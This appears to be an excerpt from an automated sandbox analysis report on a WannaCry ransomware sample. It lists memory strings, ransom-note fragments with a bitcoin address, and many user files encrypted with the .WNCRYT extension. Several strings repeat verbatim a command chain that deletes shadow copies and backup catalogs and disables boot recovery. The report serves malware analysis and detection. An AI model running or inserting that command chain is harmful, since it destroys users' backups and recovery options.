            Source: WannaCry_2.EXE, 00000000.00000002.2385913238.00000000009D8000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: /c vssadmin delete shadows /all /quiet &
            Source: WannaCry_2.EXE, 00000000.00000002.2385913238.00000000009D8000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: A%s %scmd.exe/c vssadmin delete shadows /all /quiet &
            Source: WannaCry_2.EXE, 00000000.00000003.1411691066.0000000000A63000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet
            Source: WannaCry_2.EXE, 00000000.00000003.1411691066.0000000000A63000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: A%s %scmd.exe/c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quietvscofi13AM4VW2dhxYgXeQepoHkHSQuy6NgaEb94Englishm_%s.wnrymsg\<https://<http://%d/%d/%d %02d:%02d:%02d00;00;00;00http://www.btcfrog.com/qr/bitcoinPNG.php?address=%smailto:%shttps://www.google.com/search?q=how+to+buy+bitcoinhttps://en.wikipedia.org/wiki/BitcoinSend %.1f BTC to this address:%.1f BTCSend $%d worth of bitcoin to this address:$%d%02d;%02d;%02d;%02d***b.wnry+++---%s%s%d%I64d%dFailed to send your message!
            Source: WannaCry_2.EXE, 00000000.00000003.1140110778.0000000000A03000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet
            Source: WannaCry_2.EXE, 00000000.00000003.1140110778.0000000000A03000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: A%s %scmd.exe/c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quietvscofi13AM4VW2dhxYgXeQepoHkHSQuy6NgaEb94Englishm_%s.wnrymsg\<https://<http://%d/%d/%d %02d:%02d:%02d00;00;00;00http://www.btcfrog.com/qr/bitcoinPNG.php?address=%smailto:%shttps://www.google.com/search?q=how+to+buy+bitcoinhttps://en.wikipedia.org/wiki/BitcoinSend %.1f BTC to this address:%.1f BTCSend $%d worth of bitcoin to this address:$%d%02d;%02d;%02d;%02d***b.wnry+++---%s%s%d%I64d%dFailed to send your message!
            Source: @WanaDecryptor@.exe, 000000CA.00000000.1527615654.000000000041F000.00000008.00000001.01000000.00000009.sdmpBinary or memory string: /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet
            Source: @WanaDecryptor@.exe, 000000CA.00000000.1527615654.000000000041F000.00000008.00000001.01000000.00000009.sdmpBinary or memory string: A%s %scmd.exe/c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quietvscofi13AM4VW2dhxYgXeQepoHkHSQuy6NgaEb94Englishm_%s.wnrymsg\<https://<http://%d/%d/%d %02d:%02d:%02d00;00;00;00http://www.btcfrog.com/qr/bitcoinPNG.php?address=%smailto:%shttps://www.google.com/search?q=how+to+buy+bitcoinhttps://en.wikipedia.org/wiki/BitcoinSend %.1f BTC to this address:%.1f BTCSend $%d worth of bitcoin to this address:$%d%02d;%02d;%02d;%02d***b.wnry+++---%s%s%d%I64d%dFailed to send your message!
            Modifies existing user documents (likely ransomware behavior)
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile moved: C:\Users\user\Desktop\NVWZAPQSQL\EIVQSAOTAQ.pngJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile moved: C:\Users\user\Desktop\EFOYFBOLXA\ZGGKNSUKOP.pdfJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile deleted: C:\Users\user\Desktop\EFOYFBOLXA\ZGGKNSUKOP.pdfJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile moved: C:\Users\user\Desktop\EEGWXUHVUG.docxJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile deleted: C:\Users\user\Desktop\EEGWXUHVUG.docxJump to behavior
            Writes many files with high entropy
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\AC\INetCache\OB7JJZIK\sharedscripts-939520eada[1].js.WNCRYT entropy: 7.99659840845Jump to dropped file
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\AppData\CacheStorage\CacheStorage.edb.WNCRYT entropy: 7.99988622625Jump to dropped file
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.CloudExperienceHost_cw5n1h2txyewy\AppData\CacheStorage\CacheStorage.edb.WNCRYT entropy: 7.99987291548Jump to dropped file
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\0PV09LN5\15\6hU_LneafI_NFLeDvM367ebFaKQ[1].js.WNCRYT entropy: 7.99037009332Jump to dropped file
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\0PV09LN5\15\aABLNT_FV45QjYQfnRHrBCAk4GU[1].js.WNCRYT entropy: 7.99872325193Jump to dropped file
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\INetCache\7TU8ICAJ\WwF5sNrjseqq673SafWJ8p6dARY[1].js.WNCRYT entropy: 7.99686947982Jump to dropped file
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\INetCache\QTRC1JK9\X6j0qPgNij1n_IogMJrgYaT9Kp8[1].js.WNCRYT entropy: 7.99082771066Jump to dropped file
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\aghbiahbpaijignceidepookljebhfak\Icons\256.png.WNCRYT entropy: 7.99018490928Jump to dropped file
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\agimnkijcaahngcdmfeangaknmldooml\Icons\256.png.WNCRYT entropy: 7.99294394267Jump to dropped file
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\ProgramData\Microsoft\Device Stage\Device\{8702d817-5aad-4674-9ef3-4d3decd87120}\background.png.WNCRYT entropy: 7.99852818991Jump to dropped file
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\ProgramData\Microsoft\Device Stage\Device\{8702d817-5aad-4674-9ef3-4d3decd87120}\watermark.png.WNCRYT entropy: 7.99423786716Jump to dropped file
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\ProgramData\Microsoft\Windows\Caches\{6AF0698E-D558-4F6E-9B3C-3716689AF493}.2.ver0x0000000000000009.db.WNCRYT entropy: 7.99925724678Jump to dropped file
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\ProgramData\Microsoft\Windows\Caches\{6AF0698E-D558-4F6E-9B3C-3716689AF493}.2.ver0x000000000000000a.db.WNCRYT entropy: 7.99937496677Jump to dropped file
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\ProgramData\Microsoft\Windows\Caches\{6AF0698E-D558-4F6E-9B3C-3716689AF493}.2.ver0x000000000000000d.db.WNCRYT entropy: 7.9993861641Jump to dropped file
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\ProgramData\Microsoft\Windows\Caches\{DDF571F2-BE98-426D-8288-1A9A39C3FDA2}.2.ver0x0000000000000001.db.WNCRYT entropy: 7.99975902129Jump to dropped file
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\ProgramData\Microsoft\Windows Defender\Scans\mpcache-0488A702D8A6400042FFB1D7ADF4EEF36AD772FD.bin.DB.WNCRYT entropy: 7.99989292947Jump to dropped file
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\ProgramData\Microsoft\ClickToRun\ProductReleases\3DD78803-01DE-4232-A9F6-781F290BD1C3\en-us.16\stream.x86.en-us.db.WNCRYT entropy: 7.9995988813Jump to dropped file
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\ProgramData\Microsoft\ClickToRun\ProductReleases\3DD78803-01DE-4232-A9F6-781F290BD1C3\x-none.16\stream.x86.x-none.db.WNCRYT entropy: 7.99988493876Jump to dropped file
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\Users\user\AppData\Local\Temp\user.bmp.WNCRYT entropy: 7.99973117138Jump to dropped file
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\Users\user\AppData\Local\Temp\jones.bmp.WNCRYT entropy: 7.99967276303Jump to dropped file
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\Users\user\AppData\Local\Microsoft\Office\OTele\excel.exe.db.WNCRYT entropy: 7.99253380239Jump to dropped file
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133517913551623871.txt.WNCRYT entropy: 7.99838018207Jump to dropped file
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\Users\user\AppData\Local\ConnectedDevicesPlatform\L.user\ActivitiesCache.db.WNCRYT entropy: 7.99983831755Jump to dropped file
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133517913644287936.txt.WNCRYT entropy: 7.99841379748Jump to dropped file
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\Users\user\AppData\Local\Google\Chrome\User Data\first_party_sets.db.WNCRYT entropy: 7.99617708007Jump to dropped file
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133670572901062730.txt.WNCRYT entropy: 7.99835979529Jump to dropped file
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\databases\Databases.db.WNCRYT entropy: 7.99402457387Jump to dropped file
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133670573200963839.txt.WNCRYT entropy: 7.99834486559Jump to dropped file
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{d06c509d-8a30-4327-922a-2afb1630c2aa}\appsconversions.txt.WNCRYT entropy: 7.99986852516Jump to dropped file
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\Users\user\AppData\Local\Microsoft\Office\OTele\officec2rclient.exe.db.WNCRYT entropy: 7.99153931087Jump to dropped file
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{d06c509d-8a30-4327-922a-2afb1630c2aa}\appsglobals.txt.WNCRYT entropy: 7.99953769714Jump to dropped file
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\Users\user\AppData\Local\Microsoft\Office\OTele\officeclicktorun.exe.db.WNCRYT entropy: 7.99231889014Jump to dropped file
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{d06c509d-8a30-4327-922a-2afb1630c2aa}\appssynonyms.txt.WNCRYT entropy: 7.99916425913Jump to dropped file
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\Users\user\AppData\Local\Microsoft\Office\OTele\officesetup.exe.db.WNCRYT entropy: 7.99154769211Jump to dropped file
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{d06c509d-8a30-4327-922a-2afb1630c2aa}\settingsglobals.txt.WNCRYT entropy: 7.99565628894Jump to dropped file
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{2ba3710e-bf6a-46ef-97ed-2efbb606e519}\0.0.filtertrie.intermediate.txt.WNCRYT entropy: 7.99524574722Jump to dropped file
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{40385465-94d7-4db6-a4cb-fc8229e20afa}\0.0.filtertrie.intermediate.txt.WNCRYT entropy: 7.99533445436Jump to dropped file
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\iconcache_16.db.WNCRYT entropy: 7.99983265094Jump to dropped file
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{c7a88677-8220-45ae-8b75-3e4ab11a6127}\0.0.filtertrie.intermediate.txt.WNCRYT entropy: 7.99456911503Jump to dropped file
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\iconcache_256.db.WNCRYT entropy: 7.99994984323Jump to dropped file
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{d06c509d-8a30-4327-922a-2afb1630c2aa}\settingsconversions.txt.WNCRYT entropy: 7.99965139689Jump to dropped file
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\iconcache_32.db.WNCRYT entropy: 7.99990645738Jump to dropped file
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{d06c509d-8a30-4327-922a-2afb1630c2aa}\settingssynonyms.txt.WNCRYT entropy: 7.99856196947Jump to dropped file
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\iconcache_48.db.WNCRYT entropy: 7.99982478323Jump to dropped file
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Settings_{615928dd-022f-4339-b734-9a8a7fd59f58}\0.0.filtertrie.intermediate.txt.WNCRYT entropy: 7.99917561682Jump to dropped file
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\iconcache_idx.db.WNCRYT entropy: 7.99667225364Jump to dropped file
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Settings_{af177fd8-4436-44f8-b660-59b1d73126a6}\0.0.filtertrie.intermediate.txt.WNCRYT entropy: 7.99915276593Jump to dropped file
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumbcache_16.db.WNCRYT entropy: 7.99980236011Jump to dropped file
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumbcache_256.db.WNCRYT entropy: 7.99979758511Jump to dropped file
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumbcache_32.db.WNCRYT entropy: 7.99980954405Jump to dropped file
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumbcache_48.db.WNCRYT entropy: 7.99981076356Jump to dropped file
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumbcache_96.db.WNCRYT entropy: 7.99995103787Jump to dropped file
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumbcache_idx.db.WNCRYT entropy: 7.99717928489Jump to dropped file
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\Users\user\AppData\Local\Microsoft\Windows\Notifications\wpndatabase.db.WNCRYT entropy: 7.99981120415Jump to dropped file
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\Users\user\AppData\Local\Temp\18e190413af045db88dfbd29609eb877.db.WNCRYT entropy: 7.99350021239Jump to dropped file
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeEDrop\EdgeEDropSQLite.db.WNCRYT entropy: 7.99557760155Jump to dropped file
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Shopping\2.0.5975.0\edge_driver.js.WNCRYT entropy: 7.99989300849Jump to dropped file
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Shopping\2.0.5975.0\product_page.js.WNCRYT entropy: 7.99981698632Jump to dropped file
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Shopping\2.0.5975.0\shopping.js.WNCRYT entropy: 7.99996670991Jump to dropped file
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Shopping\2.0.5975.0\shoppingfre.js.WNCRYT entropy: 7.99944843086Jump to dropped file
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\edge_driver.js.WNCRYT entropy: 7.99990468527Jump to dropped file
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeHubAppUsage\EdgeHubAppUsageSQLite.db.WNCRYT entropy: 7.9919911971Jump to dropped file
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Shopping\2.0.5975.0\auto_open_controller.js.WNCRYT entropy: 7.99984680736Jump to dropped file
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Shopping\2.0.5975.0\edge_checkout_page_validator.js.WNCRYT entropy: 7.99980945831Jump to dropped file
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Shopping\2.0.5975.0\edge_confirmation_page_validator.js.WNCRYT entropy: 7.99980433931Jump to dropped file
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Shopping\2.0.5975.0\edge_tracking_page_validator.js.WNCRYT entropy: 7.99796552975Jump to dropped file
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\Users\user\Documents\Outlook Files\Outlook Data File - NoEmail.pst.WNCRYT entropy: 7.99938330998Jump to dropped file
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\Users\user\Documents\Outlook Files\Outlook Data File - NoEmail.pst entropy: 7.99936049417Jump to dropped file
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\shopping_iframe_driver.js.WNCRYT entropy: 7.99296514252Jump to dropped file
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\vendor.bundle.js.WNCRYT entropy: 7.99987320722Jump to dropped file
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Themes\CachedFiles\CachedImage_1280_1024_POS4.jpg.WNCRYT entropy: 7.99179820112Jump to dropped file
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\wallet.bundle.js.WNCRYT entropy: 7.99993516154Jump to dropped file
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\bnpl\bnpl.bundle.js.WNCRYT entropy: 7.9998146213Jump to dropped file
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\Mini-Wallet\miniwallet.bundle.js.WNCRYT entropy: 7.99945141835Jump to dropped file
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\90SNK17T\oneDs_f2e0f4a029670f10d892[1].js.WNCRYT entropy: 7.99892723077Jump to dropped file
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AppData\Indexed DB\IndexedDB.edb.WNCRYT entropy: 7.99991754674Jump to dropped file
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ShellFeeds\GLEAM-DARK.svg.WNCRYT entropy: 7.99835426884Jump to dropped file
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ShellFeeds\GLEAM-LIGHT.svg.WNCRYT entropy: 7.99851263398Jump to dropped file
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\craw_background.js.WNCRYT entropy: 7.99965845055Jump to dropped file
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\craw_window.js.WNCRYT entropy: 7.99932905589Jump to dropped file
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\flapper.gif.WNCRYT entropy: 7.9973129998Jump to dropped file
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\Notification\notification.bundle.js.WNCRYT entropy: 7.99967918879Jump to dropped file
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\Notification\notification_fast.bundle.js.WNCRYT entropy: 7.99947262569Jump to dropped file
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\Tokenized-Card\tokenized-card.bundle.js.WNCRYT entropy: 7.99964975052Jump to dropped file
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\Wallet-Checkout\wallet-drawer.bundle.js.WNCRYT entropy: 7.99987765465Jump to dropped file
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\Users\user\AppData\Local\Microsoft\Windows\Caches\{0DD3376E-B905-4D30-88C9-B63C603DA134}.3.ver0x0000000000000001.db.WNCRYT entropy: 7.99957958013Jump to dropped file
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\Users\user\AppData\Local\Microsoft\Windows\Caches\{3DA71D5A-20CC-432F-A115-DFE92379E91F}.3.ver0x0000000000000012.db.WNCRYT entropy: 7.9983459791Jump to dropped file
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\Users\user\AppData\Local\Microsoft\Windows\Caches\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000004.db.WNCRYT entropy: 7.99812105656Jump to dropped file
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\Users\user\AppData\Local\Microsoft\Windows\Caches\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000005.db.WNCRYT entropy: 7.9974522948Jump to dropped file
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\33CUD2J1\ConvergedLogin_PCore_AI1nyU_u3YQ_at1fSBm4Uw2[1].js.WNCRYT entropy: 7.99953428626Jump to dropped file
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\33CUD2J1\ConvergedLogin_PCore_tSc0Su-bb7Jt0QVuF6v9Cg2[1].js.WNCRYT entropy: 7.99954127492Jump to dropped file
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133670573500972363.txt.WNCRYT entropy: 7.99824658014Jump to dropped file
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{4d2e6c03-f928-4873-b576-0d6ef01dade1}\0.0.filtertrie.intermediate.txt.WNCRYT entropy: 7.99500003604Jump to dropped file
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133670573801262804.txt.WNCRYT entropy: 7.99857717813Jump to dropped file
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\Users\user\Desktop\s.wnry entropy: 7.998263053Jump to dropped file
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\Users\user\Desktop\t.wnry entropy: 7.99727613788Jump to dropped file
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\ProgramData\Microsoft\Diagnosis\EventStore.db.WNCRYT entropy: 7.99828574008Jump to dropped file
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\ProgramData\Microsoft\Windows NT\MSScan\WelcomeScan.jpg.WNCRYT entropy: 7.9996186358Jump to dropped file
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\ProgramData\Microsoft\User Account Pictures\guest.bmp.WNCRYT entropy: 7.99968212002Jump to dropped file
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\ProgramData\Microsoft\User Account Pictures\user.bmp.WNCRYT entropy: 7.99968643479Jump to dropped file
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\ProgramData\Microsoft\Windows Defender\Scans\mpenginedb.db.WNCRYT entropy: 7.99966175336Jump to dropped file
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\ProgramData\Microsoft\Diagnosis\ScenariosSqlStore\EventStore.db.WNCRYT entropy: 7.99490715243Jump to dropped file
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\ProgramData\Microsoft\Diagnosis\TenantStorage\P-ARIA\EventStore.db.WNCRYT entropy: 7.99372596882Jump to dropped file
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\ProgramData\Microsoft\Search\Data\Applications\Windows\tmp.edb.WNCRYT entropy: 7.998858371Jump to dropped file
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\ProgramData\Microsoft\Search\Data\Applications\Windows\Windows.edb.WNCRYT entropy: 7.9999893887Jump to dropped file
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\ProgramData\Microsoft\SmsRouter\MessageStore\SmsInterceptStore.db.WNCRYT entropy: 7.99900248421Jump to dropped file
